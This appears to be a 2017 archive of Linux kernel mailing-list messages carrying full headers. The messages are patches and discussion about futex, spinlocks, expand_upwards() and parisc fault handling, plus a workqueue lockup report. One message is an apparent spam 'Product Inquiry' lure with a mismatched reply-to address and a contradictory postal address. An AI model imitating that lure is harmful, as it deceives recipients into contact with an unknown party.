	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-hexagon-owner@vger.kernel.org>)
	id 1dPSoQ-0002S9-I9
	for glphk-linux-hexagon@m.gmane.org; Mon, 26 Jun 2017 14:08:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751439AbdFZMIS (ORCPT <rfc822;glphk-linux-hexagon@m.gmane.org>);
        Mon, 26 Jun 2017 08:08:18 -0400
Original-Received: from foss.arm.com ([217.140.101.70]:42802 "EHLO foss.arm.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751391AbdFZMIQ (ORCPT <rfc822;linux-hexagon@vger.kernel.org>);
        Mon, 26 Jun 2017 08:08:16 -0400
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
        by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 7D63B2B;
        Mon, 26 Jun 2017 05:08:15 -0700 (PDT)
Original-Received: from edgewater-inn.cambridge.arm.com (usa-sjc-imap-foss1.foss.arm.com [10.72.51.249])
        by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPA id 4B67D3F41F;
        Mon, 26 Jun 2017 05:08:15 -0700 (PDT)
Original-Received: by edgewater-inn.cambridge.arm.com (Postfix, from userid 1000)
        id 9BCC01AE0B65; Mon, 26 Jun 2017 13:08:14 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <80af8d81-4522-de2d-8289-1ab46565505a@suse.cz>
Original-Sender: linux-hexagon-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-hexagon.vger.kernel.org>
X-Mailing-List: linux-hexagon@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.hexagon:1364 gmane.linux.kernel:2509840 gmane.linux.ports.alpha:4319 gmane.linux.kernel.arc:2618 gmane.linux.ports.arm.kernel:587321 gmane.linux.ports.ia64:28049 gmane.linux.ports.mips.general:60010 gmane.linux.ports.parisc:27522 gmane.linux.ports.ppc64.devel:143986 gmane.linux.ports.sh.devel:55624 gmane.linux.ports.sparc:25767 gmane.linux.kernel.cross-arch:37714
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.hexagon/1364>

On Mon, Jun 26, 2017 at 02:02:31PM +0200, Jiri Slaby wrote:
> On 06/23/2017, 09:51 AM, Thomas Gleixner wrote:
> > On Wed, 21 Jun 2017, Jiri Slaby wrote:
> >> diff --git a/arch/arm64/include/asm/futex.h b/arch/arm64/include/asm/futex.h
> >> index f32b42e8725d..5bb2fd4674e7 100644
> >> --- a/arch/arm64/include/asm/futex.h
> >> +++ b/arch/arm64/include/asm/futex.h
> >> @@ -48,20 +48,10 @@ do {									\
> >>  } while (0)
> >>  
> >>  static inline int
> >> -futex_atomic_op_inuser(unsigned int encoded_op, u32 __user *uaddr)
> > 
> > That unsigned int seems to be a change from the arm64 tree in next. It's
> > not upstream and it'll cause a (easy to resolve) conflict.
> 
> Ugh, I thought the arm64 is in upstream already. Note that this patch
> just takes what is in this arm64 fix and makes it effective for all
> architectures. So I will wait with v2 until it merges upstream.
> 
> So, Will, will you incorporate Thomas' comments into your arm64 fix?

I wasn't planning to (it's already queued and I think they're just cosmetic
changes). The easiest thing is probably for you to make the changes in the
generic version when you post v2.

Will

From - Thu Nov 08 21:39:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Julian Smith <sinara_group@126.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Product Inquiry
Date: Mon, 26 Jun 2017 17:52:12 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <20170626215212.598942CD54@mail.dealer.com>
Reply-To: sinara-group@bk.ru
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: blaine.gmane.org 1498529232 14419 195.159.176.226 (27 Jun 2017 02:07:12 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 27 Jun 2017 02:07:12 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 27 04:07:08 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dPfuA-00052j-2i
	for glpp-linux-parisc@m.gmane.org; Tue, 27 Jun 2017 04:07:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751467AbdF0CHH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 26 Jun 2017 22:07:07 -0400
Original-Received: from host238-201-177-94.serverdedicati.aruba.it ([94.177.201.238]:49858
        "EHLO mail.dealer.com" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751466AbdF0CHH (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 26 Jun 2017 22:07:07 -0400
Original-Received: by mail.dealer.com (Postfix, from userid 48)
        id 598942CD54; Mon, 26 Jun 2017 17:52:12 -0400 (EDT)
X-PHP-Originating-Script: 0:anyyuler.php
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27523
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27523>

Hello, 

My name is Ms Julian Smith and i am from Sinara Group Co.
We are glad to know about your company from the web and we are interested in
your products.Please send us your Latest catalog and price list for our
trial order. 

Julian Smith, 
Purchasing Manager
Sinara Group Co.
7 Krasnogo Znameni Ave.
Vladivostok,690106,Ukraine


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Newsgroups: gmane.comp.security.firewalls.netfilter.devel,gmane.linux.kernel,gmane.linux.network,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [PATCH RFC 20/26] parisc: Remove spin_unlock_wait() arch-specific definitions
Date: Thu, 29 Jun 2017 17:01:28 -0700
Lines: 44
Approved: news@gmane.org
Message-ID: <1498780894-8253-20-git-send-email-paulmck@linux.vnet.ibm.com>
References: <20170629235918.GA6445@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1498780951 10424 195.159.176.226 (30 Jun 2017 00:02:31 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 30 Jun 2017 00:02:31 +0000 (UTC)
Cc: netfilter-devel@vger.kernel.org, netdev@vger.kernel.org,
        oleg@redhat.com, akpm@linux-foundation.org, mingo@redhat.com,
        dave@stgolabs.net, manfred@colorfullife.com, tj@kernel.org,
        arnd@arndb.de, linux-arch@vger.kernel.org, will.deacon@arm.com,
        peterz@infradead.org, stern@rowland.harvard.edu,
        parri.andrea@gmail.com, torvalds@linux-foundation.org,
        "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, <linux-parisc@vger.kernel.org>
To: linux-kernel@vger.kernel.org
Original-X-From: netfilter-devel-owner@vger.kernel.org Fri Jun 30 02:02:24 2017
Return-path: <netfilter-devel-owner@vger.kernel.org>
Envelope-to: gnnd-netfilter-devel@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <netfilter-devel-owner@vger.kernel.org>)
	id 1dQjOB-0002Gi-2J
	for gnnd-netfilter-devel@m.gmane.org; Fri, 30 Jun 2017 02:02:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752590AbdF3ACW (ORCPT
        <rfc822;gnnd-netfilter-devel@m.gmane.org>);
        Thu, 29 Jun 2017 20:02:22 -0400
Original-Received: from mx0b-001b2d01.pphosted.com ([148.163.158.5]:57061 "EHLO
        mx0a-001b2d01.pphosted.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1752231AbdF3ABq (ORCPT
        <rfc822;netfilter-devel@vger.kernel.org>);
        Thu, 29 Jun 2017 20:01:46 -0400
Original-Received: from pps.filterd (m0098417.ppops.net [127.0.0.1])
        by mx0a-001b2d01.pphosted.com (8.16.0.20/8.16.0.20) with SMTP id v5TNx597020644
        for <netfilter-devel@vger.kernel.org>; Thu, 29 Jun 2017 20:01:45 -0400
Original-Received: from e17.ny.us.ibm.com (e17.ny.us.ibm.com [129.33.205.207])
        by mx0a-001b2d01.pphosted.com with ESMTP id 2bd4ar17gf-1
        (version=TLSv1.2 cipher=AES256-SHA bits=256 verify=NOT)
        for <netfilter-devel@vger.kernel.org>; Thu, 29 Jun 2017 20:01:45 -0400
Original-Received: from localhost
        by e17.ny.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
        for <netfilter-devel@vger.kernel.org> from <paulmck@linux.vnet.ibm.com>;
        Thu, 29 Jun 2017 20:01:44 -0400
Original-Received: from b01cxnp22036.gho.pok.ibm.com (9.57.198.26)
        by e17.ny.us.ibm.com (146.89.104.204) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
        Thu, 29 Jun 2017 20:01:38 -0400
Original-Received: from b01ledav003.gho.pok.ibm.com (b01ledav003.gho.pok.ibm.com [9.57.199.108])
        by b01cxnp22036.gho.pok.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id v5U01aYv61538406;
        Fri, 30 Jun 2017 00:01:38 GMT
Original-Received: from b01ledav003.gho.pok.ibm.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id 06AFEB205F;
        Thu, 29 Jun 2017 19:59:10 -0400 (EDT)
Original-Received: from paulmck-ThinkPad-W541 (unknown [9.70.82.110])
        by b01ledav003.gho.pok.ibm.com (Postfix) with ESMTP id CBC60B2054;
        Thu, 29 Jun 2017 19:59:09 -0400 (EDT)
Original-Received: by paulmck-ThinkPad-W541 (Postfix, from userid 1000)
        id 7ADC016C698F; Thu, 29 Jun 2017 17:01:37 -0700 (PDT)
X-Mailer: git-send-email 2.5.2
In-Reply-To: <20170629235918.GA6445@linux.vnet.ibm.com>
X-TM-AS-GCONF: 00
x-cbid: 17063000-0040-0000-0000-00000372D237
X-IBM-SpamModules-Scores: 
X-IBM-SpamModules-Versions: BY=3.00007295; HX=3.00000241; KW=3.00000007;
 PH=3.00000004; SC=3.00000214; SDB=6.00880606; UDB=6.00439011; IPR=6.00660759;
 BA=6.00005447; NDR=6.00000001; ZLA=6.00000005; ZF=6.00000009; ZB=6.00000000;
 ZP=6.00000000; ZH=6.00000000; ZU=6.00000002; MB=3.00016015; XFM=3.00000015;
 UTC=2017-06-30 00:01:43
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 17063000-0041-0000-0000-00000766D2B5
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:,, definitions=2017-06-29_17:,,
 signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0 spamscore=0 suspectscore=1
 malwarescore=0 phishscore=0 adultscore=0 bulkscore=0 classifier=spam
 adjust=0 reason=mlx scancount=1 engine=8.0.1-1703280000
 definitions=main-1706290384
Original-Sender: netfilter-devel-owner@vger.kernel.org
Precedence: bulk
List-ID: <netfilter-devel.vger.kernel.org>
X-Mailing-List: netfilter-devel@vger.kernel.org
Xref: news.gmane.org gmane.comp.security.firewalls.netfilter.devel:69630 gmane.linux.kernel:2513743 gmane.linux.network:478792 gmane.linux.kernel.cross-arch:37900 gmane.linux.ports.parisc:27524
Archived-At: <http://permalink.gmane.org/gmane.comp.security.firewalls.netfilter.devel/69630>

There is no agreed-upon definition of spin_unlock_wait()'s semantics,
and it appears that all callers could do just as well with a lock/unlock
pair.  This commit therefore removes the underlying arch-specific
arch_spin_unlock_wait().

Signed-off-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: <linux-parisc@vger.kernel.org>
Cc: Will Deacon <will.deacon@arm.com>
Cc: Peter Zijlstra <peterz@infradead.org>
Cc: Alan Stern <stern@rowland.harvard.edu>
Cc: Andrea Parri <parri.andrea@gmail.com>
Cc: Linus Torvalds <torvalds@linux-foundation.org>
---
 arch/parisc/include/asm/spinlock.h | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/arch/parisc/include/asm/spinlock.h b/arch/parisc/include/asm/spinlock.h
index e32936cd7f10..55bfe4affca3 100644
--- a/arch/parisc/include/asm/spinlock.h
+++ b/arch/parisc/include/asm/spinlock.h
@@ -14,13 +14,6 @@ static inline int arch_spin_is_locked(arch_spinlock_t *x)
 
 #define arch_spin_lock(lock) arch_spin_lock_flags(lock, 0)
 
-static inline void arch_spin_unlock_wait(arch_spinlock_t *x)
-{
-	volatile unsigned int *a = __ldcw_align(x);
-
-	smp_cond_load_acquire(a, VAL);
-}
-
 static inline void arch_spin_lock_flags(arch_spinlock_t *x,
 					 unsigned long flags)
 {
-- 
2.5.2

--
To unsubscribe from this list: send the line "unsubscribe netfilter-devel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH v2] mm: Fix overflow check in expand_upwards()
Date: Sun, 2 Jul 2017 21:24:52 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <20170702192452.GA11868@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1499023502 18979 195.159.176.226 (2 Jul 2017 19:25:02 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 2 Jul 2017 19:25:02 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: =?iso-8859-15?Q?J=F6rn?= Engel <joern@purestorage.com>,
        linux-parisc@vger.kernel.org
To: Hugh Dickins <hughd@google.com>, linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 02 21:24:52 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dRkUG-00089v-DO
	for glpp-linux-parisc@m.gmane.org; Sun, 02 Jul 2017 21:24:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751863AbdGBTY5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 2 Jul 2017 15:24:57 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:65487 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751849AbdGBTY5 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 2 Jul 2017 15:24:57 -0400
Original-Received: from p100.box ([193.159.25.122]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MBnPX-1dbxty3C4N-00AlAo; Sun, 02
 Jul 2017 21:24:53 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:NyFkrFaOJBoJ+S43EwJveiHUkUfCD+Ukne6+S1k8k86PS09tGWZ
 jjmMXnZe0vlZmgK94/u7MVK2e0R5+FHWknv6PkX0jISLG9BNRAd8vz0pH9aYB/7SESb8x1Z
 v2gKITCGWQbgsav7q5OMncx1b59ey2gco0tLFmLQp6jXGl+xxjIeiTtlXZKCCu9rhrMTxMv
 J1A9cUVXPp35SAhI3sh3A==
X-UI-Out-Filterresults: notjunk:1;V01:K0:+l2y8TtMmSo=:mSVb94CYygY1y+8v9mFCYo
 Ytkj9yBfQCuVKtLDRgU13zxu/lG6rjxQnq2onU2+CidSdF4ucmyxNqHj+Dn/OSygfuIt+20ZQ
 wTmBUj+yFllZaFa/5xhv+x8ZwlU5CUPbkFOiUVyTykl/5GcvMrHzjhhQN9VJZSXsNZ8Kp2Zkr
 murZPd+OXMZ7fOm+qzUvt3BYuCBUWQoc9v8aCIWKgcRWRapPO+SuZvGHteY1WNejodIfOBq6X
 obEOdcCtyD2v2JTcGoCzLmAmTaCMBeJo4P4H3ZLPYe8L2JzkT3S9g/ugqtku005hkEhayzdZQ
 Gz33ogRnDowa40ZxaGrUYLpL6p8iT+NPitwCMl+U1hkiYf5w/Fh79ae+Mhx/gEe3Po91FFJYg
 JlDoPg1FHGn24dfCIGCn5IXBfR0JozrGdv9kioIAXhKoLeZNRNIY01GQgHX00Qx7x5RfuFDwp
 YJQ5nqih/BO733XxqWj9jC0pPJZuWz3tUy4Zz9ePIj6di1wFk8fgSlTPcNLo0nv0OHKlfuuj3
 jzxmyAgV72WXLUVOYTMctKlKGG+UeDk/VQuLFxiwVrhRueYzhS8v6IjPRsKCdT7AG2y+QPRvH
 OWUyvv8nkIWEA3tJNl79eQohJsk1H8FHvPg1dUEtz2Z5L0zYqDyWuWK3VpL8m23eNtLy0cEYo
 uxYCk7pnttkuH8xkSIlmhgYATYGn/+nlxjoA58OGHU/PeEnZsCyn2MlYeQcqK/uxlEXjQhdSU
 OfNmYbLEqn4vs0PF6l3hcqIdRPGBv16Ty+J7nJ1Osri2/bhSSlKs23/0C/o=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27525 gmane.linux.kernel:2515027
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27525>

Jrn Engel noticed that the expand_upwards() function might not return -ENOMEM
in case the requested address is (unsigned long)-PAGE_SIZE and if the
architecture didn't defined TASK_SIZE as multiple of PAGE_SIZE.

Affected architectures are arm, frv, m68k, blackfin, h8300 and xtensa which all
define TASK_SIZE as 0xffffffff, but since none of those have an upwards-growing
stack we currently have no actual issue.

Nevertheless let's fix this just in case any of the architectures with an
upward-growing stack (currently parisc, metag and partly ia64) define TASK_SIZE
similar.

Reported-by: Jrn Engel <joern@purestorage.com>
Fixes: bd726c90b6b8 ("Allow stack to grow up to address space limit")
Cc: stable@vger.kernel.org
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/mm/mmap.c b/mm/mmap.c
index a5e3dcd..cc2fc8a 100644
--- a/mm/mmap.c
+++ b/mm/mmap.c
@@ -2232,7 +2232,7 @@ int expand_upwards(struct vm_area_struct *vma, unsigned long address)
 
 	/* Guard against exceeding limits of the address space. */
 	address &= PAGE_MASK;
-	if (address >= TASK_SIZE)
+	if (address >= (TASK_SIZE & PAGE_MASK))
 		return -ENOMEM;
 	address += PAGE_SIZE;
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Report SIGSEGV instead of SIGBUS when running out of
 stack
Date: Sun, 2 Jul 2017 22:00:41 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <20170702200041.GA15902@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1499025653 321 195.159.176.226 (2 Jul 2017 20:00:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 2 Jul 2017 20:00:53 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 02 22:00:49 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dRl31-00080n-VI
	for glpp-linux-parisc@m.gmane.org; Sun, 02 Jul 2017 22:00:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751894AbdGBUAx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 2 Jul 2017 16:00:53 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:53216 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751889AbdGBUAw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 2 Jul 2017 16:00:52 -0400
Original-Received: from p100.box ([193.159.25.122]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MVIva-1dDyJW0en0-00Yisv; Sun, 02
 Jul 2017 22:00:44 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:LCb/pwJzFP+eAnl/P8JJK6TSdMsF7KTnW9iJq9XNqJSuB7Jz+DP
 kl2BEKtDS0T3ieB8CvnHqHp03Slf6ng9LxShA0Fc0osOfUTI6ILm8d8wnrwHuzl1VcAV73i
 2F8K36b/DC62Iqpbo7/G+TlUD909YXniaUWnVRvFwQonNCC5l7xgKegr9pPk6GwnljDmUOn
 qrhuVVqwe91ynhwy1w2AA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:yAPFyzwvx2Q=:lfnwzuK1tR/6ze7v22y6m6
 oF4pIo4Bw7QLGhqw6OOCigBNUXjIWV3HqlrN3zXjQEYguOqzLY8egoxJizDCELIysB3PebMyo
 LOkTVQXbF/erzJup07Faim+6zBegJM/NcYUT/oiv7daV5JI01RtMAC2eJmMWeuCaSlPevlG1i
 WYtBGE9wVuIteQ9L9O45WfuTPmJDMb4tVUiX4je8txKz7DnT0DWep5jqdyv5eCo7+7tJd/JE3
 K+hqlMdKQgW54s3JVhjCndr7MN+TJmHcve7x0MT2Oczm0ibiOkBqSKtHnGEAvcBluQstnFLs1
 tLUOdBx8jeZ/z/jwdpvkHxDaLE7R5t6AUUdoPmNPMdRKVzNd1v53AEkvdyXuRonSLI39U479N
 uunKpMkmiRxoN9I0F1b70hSEFBz6PFqpLZZdNjqxYYAYkAX6xNGIEqVp4T2D1KCqHtZehmSuT
 7vwzhlq6z79yapYP32EkirWxw4tFqUMGM6UyL0d1eepDm4uIZnAQp0ylloNtToeSOqcXXpgTI
 r+3RsdPzVa6guD1vuDZ3tFyqRoogpu4Xee+CgYqZC38dNLtj3Nhz8hY5oSuzt9jOgF8cUc5WR
 ZD3HuwnFR1Fv0B4coVuRThhwXTo4EST7I8gAiI+jx31RMhd+4JXhmuZCU1RxgVDLAMMaqaTV8
 sw4mlFSBrp0e5sPaLEqMQX7q+MiOA7LUMH9oFq5miZQf6Zq9MOPywcB0myCWSGlWj6fH8eioc
 uy7qZK9JPBeXegVy8Ms3FUhSdTWdRf4SU2nHDFcbtSx1IOK/cSbBn5esqvU=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27526
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27526>

When a process runs out of stack the parisc kernel wrongly faults with SIGBUS
instead of the expected SIGSEGV signal.

This example shows how the kernel faults:
do_page_fault() command='a.out' type=15 address=0xfaac2000 in libc-2.24.so[f8308000+16c000]
trap #15: Data TLB miss fault, vm_start = 0xfa2c2000, vm_end = 0xfaac2000

The vma->vm_end value is the first address which does not belong to the vma, so
adjust the check to include vma->vm_end to the range for which to send the
SIGSEGV signal.

This patch unbreaks building the debian libsegv package.

Cc: stable@vger.kernel.org
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index 32ec221..9fd95fe 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -367,7 +367,7 @@ void do_page_fault(struct pt_regs *regs, unsigned long code,
 		case 15:	/* Data TLB miss fault/Data page fault */
 			/* send SIGSEGV when outside of vma */
 			if (!vma ||
-			    address < vma->vm_start || address > vma->vm_end) {
+			    address < vma->vm_start || address >= vma->vm_end) {
 				si.si_signo = SIGSEGV;
 				si.si_code = SEGV_MAPERR;
 				break;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: BUG: workqueue lockup (after powerdown)
Date: Mon, 3 Jul 2017 10:34:46 +0300 (EEST)
Lines: 19
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1707031031180.28253@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1499067293 16756 195.159.176.226 (3 Jul 2017 07:34:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 3 Jul 2017 07:34:53 +0000 (UTC)
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
To: linux-parisc@vger.kernel.org,
        Linux Kernel list <linux-kernel@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 03 09:34:47 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dRvsc-0004Ej-Ue
	for glpp-linux-parisc@m.gmane.org; Mon, 03 Jul 2017 09:34:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752080AbdGCHew (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 3 Jul 2017 03:34:52 -0400
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:40552 "EHLO smtp1.it.da.ut.ee"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752186AbdGCHew (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 3 Jul 2017 03:34:52 -0400
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
        by smtp1.it.da.ut.ee (Postfix) with ESMTP id 981DA90031;
        Mon,  3 Jul 2017 10:34:48 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
        id 85156221944; Mon,  3 Jul 2017 10:34:46 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
        by math.ut.ee (Postfix) with ESMTP id B18EB220BA8;
        Mon,  3 Jul 2017 10:34:46 +0300 (EEST)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27527 gmane.linux.kernel:2515191
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27527>

Today I tested 4.12 release on my RP3440 (HP parisc). It worked fine, 
then on shutdown I got this strange message from kernel after shutdown:

reboot: Power down
System shut down completed.
Please power this system off now.
BUG: workqueue lockup - pool cpus=0 node=0 flags=0x0 nice=0 stuck for 40s!

and this continues with longer and longer times.

Is it something hppa specific or general?

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 4.12-rc5+: segfault while compiling, on rp3410
Date: Mon, 3 Jul 2017 10:38:24 +0300 (EEST)
Lines: 22
Approved: news@gmane.org
